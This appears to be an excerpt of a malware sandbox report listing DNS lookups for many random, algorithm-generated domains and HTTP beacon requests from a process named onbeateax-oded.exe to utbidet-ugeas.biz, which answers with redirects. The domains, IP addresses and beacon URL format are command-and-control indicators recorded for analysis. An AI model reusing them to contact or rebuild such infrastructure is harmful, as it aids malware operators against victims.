Sep 7, 2024 15:32:56.813766956 CEST	1.1.1.1	192.168.2.7	0x5fa8	Name error (3)	uqhvo.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.970150948 CEST	1.1.1.1	192.168.2.7	0xd0e8	Name error (3)	kneyzc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.076262951 CEST	1.1.1.1	192.168.2.7	0xa336	Name error (3)	kneyzc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.144067049 CEST	1.1.1.1	192.168.2.7	0x4273	Name error (3)	edtypkiuumii.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.169858932 CEST	1.1.1.1	192.168.2.7	0xa201	Name error (3)	edtypkiuumii.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.238465071 CEST	1.1.1.1	192.168.2.7	0x518e	Name error (3)	pgaspgrxczoyg.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.251686096 CEST	1.1.1.1	192.168.2.7	0xa8d7	Name error (3)	pgaspgrxczoyg.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.407294035 CEST	1.1.1.1	192.168.2.7	0x9d15	Name error (3)	eiajkkoojsibc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.513547897 CEST	1.1.1.1	192.168.2.7	0x333a	Name error (3)	eiajkkoojsibc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.580307961 CEST	1.1.1.1	192.168.2.7	0x7e7f	Name error (3)	ywarwjp.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.594304085 CEST	1.1.1.1	192.168.2.7	0x54b1	Name error (3)	ywarwjp.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.676132917 CEST	1.1.1.1	192.168.2.7	0x22fd	Name error (3)	eumfmwcv.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.693061113 CEST	1.1.1.1	192.168.2.7	0x1135	Name error (3)	eumfmwcv.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.854382992 CEST	1.1.1.1	192.168.2.7	0x54af	Name error (3)	fnvbwxaeqwk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.956357956 CEST	1.1.1.1	192.168.2.7	0x9a64	Name error (3)	fnvbwxaeqwk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.015548944 CEST	1.1.1.1	192.168.2.7	0x120d	Name error (3)	uiwvomwyls.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.028209925 CEST	1.1.1.1	192.168.2.7	0x4fe2	Name error (3)	uiwvomwyls.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.357703924 CEST	1.1.1.1	192.168.2.7	0x50fa	Name error (3)	xyycdotjkmk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.391424894 CEST	1.1.1.1	192.168.2.7	0x5723	Name error (3)	xyycdotjkmk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.453109026 CEST	1.1.1.1	192.168.2.7	0xf612	Name error (3)	ncwjgaqmjup.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.465117931 CEST	1.1.1.1	192.168.2.7	0xeea0	Name error (3)	ncwjgaqmjup.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.711106062 CEST	1.1.1.1	192.168.2.7	0x8ba2	Name error (3)	yekuwiroci.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.813467026 CEST	1.1.1.1	192.168.2.7	0x89c0	Name error (3)	yekuwiroci.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.874401093 CEST	1.1.1.1	192.168.2.7	0x195e	No error (0)	dkkmkcjaksqc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.894056082 CEST	1.1.1.1	192.168.2.7	0x2ecf	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.906332016 CEST	1.1.1.1	192.168.2.7	0x3ae5	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.968713999 CEST	1.1.1.1	192.168.2.7	0x7f4f	No error (0)	ocaquarnisea.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.991296053 CEST	1.1.1.1	192.168.2.7	0x752a	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.003344059 CEST	1.1.1.1	192.168.2.7	0xc689	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.323040009 CEST	1.1.1.1	192.168.2.7	0x96da	Name error (3)	myabe.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.620429039 CEST	1.1.1.1	192.168.2.7	0xd90d	Name error (3)	myabe.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.620456934 CEST	1.1.1.1	192.168.2.7	0xd90d	Name error (3)	myabe.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.696969986 CEST	1.1.1.1	192.168.2.7	0x6c26	No error (0)	uwasak.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.792172909 CEST	1.1.1.1	192.168.2.7	0x9f83	No error (0)	gamwq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.862169981 CEST	1.1.1.1	192.168.2.7	0xa72a	Name error (3)	ftuqkkircwazo.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.892064095 CEST	1.1.1.1	192.168.2.7	0x8a0d	Name error (3)	ftuqkkircwazo.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.111316919 CEST	1.1.1.1	192.168.2.7	0xc936	Name error (3)	bwpfaipoy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.380717993 CEST	1.1.1.1	192.168.2.7	0x3adc	Name error (3)	bwpfaipoy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.389689922 CEST	1.1.1.1	192.168.2.7	0x3adc	Name error (3)	bwpfaipoy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.457480907 CEST	1.1.1.1	192.168.2.7	0x1050	No error (0)	ufoqprlc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.543915033 CEST	1.1.1.1	192.168.2.7	0xed7d	Name error (3)	gzwaqywdlnsr.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.585395098 CEST	1.1.1.1	192.168.2.7	0x435	Name error (3)	gzwaqywdlnsr.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.656683922 CEST	1.1.1.1	192.168.2.7	0x81d7	No error (0)	zishghfgv.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.823484898 CEST	1.1.1.1	192.168.2.7	0x4a01	Name error (3)	keoyiguvyeer.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.925863028 CEST	1.1.1.1	192.168.2.7	0x64dd	Name error (3)	keoyiguvyeer.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.986663103 CEST	1.1.1.1	192.168.2.7	0x7c88	Name error (3)	jumjc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.999747992 CEST	1.1.1.1	192.168.2.7	0x40c0	Name error (3)	jumjc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:01.292160034 CEST	1.1.1.1	192.168.2.7	0x8e05	Name error (3)	meovgkpxogbmum.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:01.400760889 CEST	1.1.1.1	192.168.2.7	0x1c3a	Name error (3)	meovgkpxogbmum.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:01.484431028 CEST	1.1.1.1	192.168.2.7	0xa58a	No error (0)	czeocbmiquufi.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:01.588258982 CEST	1.1.1.1	192.168.2.7	0x1f67	No error (0)	wemqmaugvti.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:01.915973902 CEST	1.1.1.1	192.168.2.7	0x24e1	Name error (3)	jegxwssvm.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:02.162483931 CEST	1.1.1.1	192.168.2.7	0x9f54	Name error (3)	jegxwssvm.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:02.229063988 CEST	1.1.1.1	192.168.2.7	0xe531	No error (0)	kmwix.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:02.607974052 CEST	1.1.1.1	192.168.2.7	0x7f3a	Name error (3)	txdgkqn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:02.854789019 CEST	1.1.1.1	192.168.2.7	0xa85c	Name error (3)	txdgkqn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.012401104 CEST	1.1.1.1	192.168.2.7	0x5200	Name error (3)	egcawewk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.257297039 CEST	1.1.1.1	192.168.2.7	0x9c65	Name error (3)	egcawewk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.312176943 CEST	1.1.1.1	192.168.2.7	0x8532	Name error (3)	rwwgysqikiucf.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.333138943 CEST	1.1.1.1	192.168.2.7	0x573f	Name error (3)	rwwgysqikiucf.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.407346010 CEST	1.1.1.1	192.168.2.7	0xb67d	Name error (3)	vpziumime.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.421070099 CEST	1.1.1.1	192.168.2.7	0x7c16	Name error (3)	vpziumime.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.484338999 CEST	1.1.1.1	192.168.2.7	0x58ed	Name error (3)	xrgdxigaokqnk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.504267931 CEST	1.1.1.1	192.168.2.7	0x3762	Name error (3)	xrgdxigaokqnk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.650513887 CEST	1.1.1.1	192.168.2.7	0x6a1f	Name error (3)	zrlykyb.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.769167900 CEST	1.1.1.1	192.168.2.7	0x5f33	Name error (3)	zrlykyb.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.838062048 CEST	1.1.1.1	192.168.2.7	0x1159	No error (0)	swdbwwsmwffcc.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.865462065 CEST	1.1.1.1	192.168.2.7	0xef1	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.883177996 CEST	1.1.1.1	192.168.2.7	0x6073	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:04.029460907 CEST	1.1.1.1	192.168.2.7	0xee91	Name error (3)	eupjx.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:04.873179913 CEST	1.1.1.1	192.168.2.7	0xf0be	Name error (3)	eupjx.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.116291046 CEST	1.1.1.1	192.168.2.7	0x4f38	Name error (3)	rwqsyyerzsawpu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.159914970 CEST	1.1.1.1	192.168.2.7	0xced7	Name error (3)	rwqsyyerzsawpu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.226109028 CEST	1.1.1.1	192.168.2.7	0x8604	Name error (3)	yoygpqq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.247647047 CEST	1.1.1.1	192.168.2.7	0xd1f3	Name error (3)	yoygpqq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.338696003 CEST	1.1.1.1	192.168.2.7	0xaa90	No error (0)	nkancquzytf.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.447642088 CEST	1.1.1.1	192.168.2.7	0xc882	Name error (3)	cmctuyc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.496790886 CEST	1.1.1.1	192.168.2.7	0xe750	Name error (3)	cmctuyc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.651896954 CEST	1.1.1.1	192.168.2.7	0x990e	Name error (3)	auwzkkx.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.900065899 CEST	1.1.1.1	192.168.2.7	0x13d7	Name error (3)	auwzkkx.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.951951981 CEST	1.1.1.1	192.168.2.7	0x9f3c	Name error (3)	rmmsmggeyi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.964083910 CEST	1.1.1.1	192.168.2.7	0x7c19	Name error (3)	rmmsmggeyi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.192420006 CEST	1.1.1.1	192.168.2.7	0xd43d	Name error (3)	sceogyv.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.376049995 CEST	1.1.1.1	192.168.2.7	0xc753	Name error (3)	sceogyv.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.437387943 CEST	1.1.1.1	192.168.2.7	0xa378	Name error (3)	wciiwo.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.451878071 CEST	1.1.1.1	192.168.2.7	0xc5a3	Name error (3)	wciiwo.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.517091990 CEST	1.1.1.1	192.168.2.7	0x5514	Name error (3)	cyzgfig.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.533067942 CEST	1.1.1.1	192.168.2.7	0xb36b	Name error (3)	cyzgfig.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.593494892 CEST	1.1.1.1	192.168.2.7	0x1b80	Name error (3)	ccacy.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.608396053 CEST	1.1.1.1	192.168.2.7	0x114e	Name error (3)	ccacy.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.676819086 CEST	1.1.1.1	192.168.2.7	0xe47e	Name error (3)	noeamkcd.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.698215008 CEST	1.1.1.1	192.168.2.7	0x3f10	Name error (3)	noeamkcd.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.106348991 CEST	1.1.1.1	192.168.2.7	0x4d04	Name error (3)	ixlhmiiil.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.106623888 CEST	1.1.1.1	192.168.2.7	0x4d04	Name error (3)	ixlhmiiil.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.213247061 CEST	1.1.1.1	192.168.2.7	0x3b6c	Name error (3)	ixlhmiiil.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.267457962 CEST	1.1.1.1	192.168.2.7	0xca23	Name error (3)	tbeuk.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.295497894 CEST	1.1.1.1	192.168.2.7	0x41d7	Name error (3)	tbeuk.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.360179901 CEST	1.1.1.1	192.168.2.7	0x9b06	Name error (3)	qbsawumner.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.382078886 CEST	1.1.1.1	192.168.2.7	0x9bb9	Name error (3)	qbsawumner.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.532658100 CEST	1.1.1.1	192.168.2.7	0x7484	Name error (3)	iegwy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.783588886 CEST	1.1.1.1	192.168.2.7	0xab22	Name error (3)	iegwy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.941287041 CEST	1.1.1.1	192.168.2.7	0x376d	Name error (3)	hmeglgwinyalm.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.050724983 CEST	1.1.1.1	192.168.2.7	0xe75f	Name error (3)	hmeglgwinyalm.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.149401903 CEST	1.1.1.1	192.168.2.7	0x2357	Name error (3)	uvrtzchimq.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.383377075 CEST	1.1.1.1	192.168.2.7	0x71b5	Name error (3)	uvrtzchimq.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.443105936 CEST	1.1.1.1	192.168.2.7	0x6ef1	Name error (3)	dpwhfdgoauoa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.481738091 CEST	1.1.1.1	192.168.2.7	0xc8b4	Name error (3)	dpwhfdgoauoa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.573138952 CEST	1.1.1.1	192.168.2.7	0x44cc	No error (0)	ekoughqi.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.604075909 CEST	1.1.1.1	192.168.2.7	0x449b	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.619761944 CEST	1.1.1.1	192.168.2.7	0xcb51	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.683821917 CEST	1.1.1.1	192.168.2.7	0xd27a	Name error (3)	igojomwgb.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.705965042 CEST	1.1.1.1	192.168.2.7	0xb27b	Name error (3)	igojomwgb.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:09.456461906 CEST	1.1.1.1	192.168.2.7	0x9bc2	Name error (3)	cuwkkotwuhacsu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:09.456496000 CEST	1.1.1.1	192.168.2.7	0x9bc2	Name error (3)	cuwkkotwuhacsu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:09.698860884 CEST	1.1.1.1	192.168.2.7	0x604a	Name error (3)	cuwkkotwuhacsu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:09.761714935 CEST	1.1.1.1	192.168.2.7	0x82be	No error (0)	sukqszassere.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.198167086 CEST	1.1.1.1	192.168.2.7	0xdce0	Name error (3)	zmpxveaoizn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.538389921 CEST	1.1.1.1	192.168.2.7	0x939a	Name error (3)	zmpxveaoizn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.538420916 CEST	1.1.1.1	192.168.2.7	0x939a	Name error (3)	zmpxveaoizn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.600368023 CEST	1.1.1.1	192.168.2.7	0xba	Name error (3)	ogomm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.615999937 CEST	1.1.1.1	192.168.2.7	0x460b	Name error (3)	ogomm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.700727940 CEST	1.1.1.1	192.168.2.7	0xbeeb	Name error (3)	wkcoc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.740434885 CEST	1.1.1.1	192.168.2.7	0x1cf3	Name error (3)	wkcoc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.063162088 CEST	1.1.1.1	192.168.2.7	0xd9fd	Name error (3)	oscpavzjsto.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.341279030 CEST	1.1.1.1	192.168.2.7	0x61fb	Name error (3)	oscpavzjsto.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.341933012 CEST	1.1.1.1	192.168.2.7	0x61fb	Name error (3)	oscpavzjsto.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.418459892 CEST	1.1.1.1	192.168.2.7	0x3c79	Name error (3)	wvzpwz.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.455566883 CEST	1.1.1.1	192.168.2.7	0x2a38	Name error (3)	wvzpwz.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.515181065 CEST	1.1.1.1	192.168.2.7	0x42d6	Name error (3)	ghnnkyyuee.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.561484098 CEST	1.1.1.1	192.168.2.7	0xc4bc	Name error (3)	ghnnkyyuee.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.892088890 CEST	1.1.1.1	192.168.2.7	0x2cc3	Name error (3)	coyirurocq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.967987061 CEST	1.1.1.1	192.168.2.7	0x983a	Name error (3)	coyirurocq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:12.115621090 CEST	1.1.1.1	192.168.2.7	0xc1cb	Name error (3)	jcmvlhq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:12.367455006 CEST	1.1.1.1	192.168.2.7	0xa760	Name error (3)	jcmvlhq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:12.470611095 CEST	1.1.1.1	192.168.2.7	0x8815	Name error (3)	wkcuwgb.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:12.485862017 CEST	1.1.1.1	192.168.2.7	0x478c	Name error (3)	wkcuwgb.museum	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

utbidet-ugeas.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:09.629479885 CEST	169	OUT	GET /d/N?0250612A1650612A16616106165061888C9247B6105161EABE52661C38624F132460510416 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:10.115741014 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:10 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0250612A1650612A16616106165061888C9247B6105161EABE52661C38624F132460510416 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:10.351715088 CEST	201	OUT	GET /d/N?0250612A1650612A16616106165061888C9247B6105161EABE52661C38624F132460510416 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:10.832561970 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:10 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0250612A1650612A16616106165061888C9247B6105161EABE52661C38624F132460510416 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49703	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:16.160608053 CEST	169	OUT	GET /d/N?0252B80FE152B80FE163B823E152B8AD7B909E93E753B8CF4950BF39CF609636D3628821E1 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:16.789921999 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:16 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0252B80FE152B80FE163B823E152B8AD7B909E93E753B8CF4950BF39CF609636D3628821E1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49704	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:16.801660061 CEST	201	OUT	GET /d/N?0252B80FE152B80FE163B823E152B8AD7B909E93E753B8CF4950BF39CF609636D3628821E1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
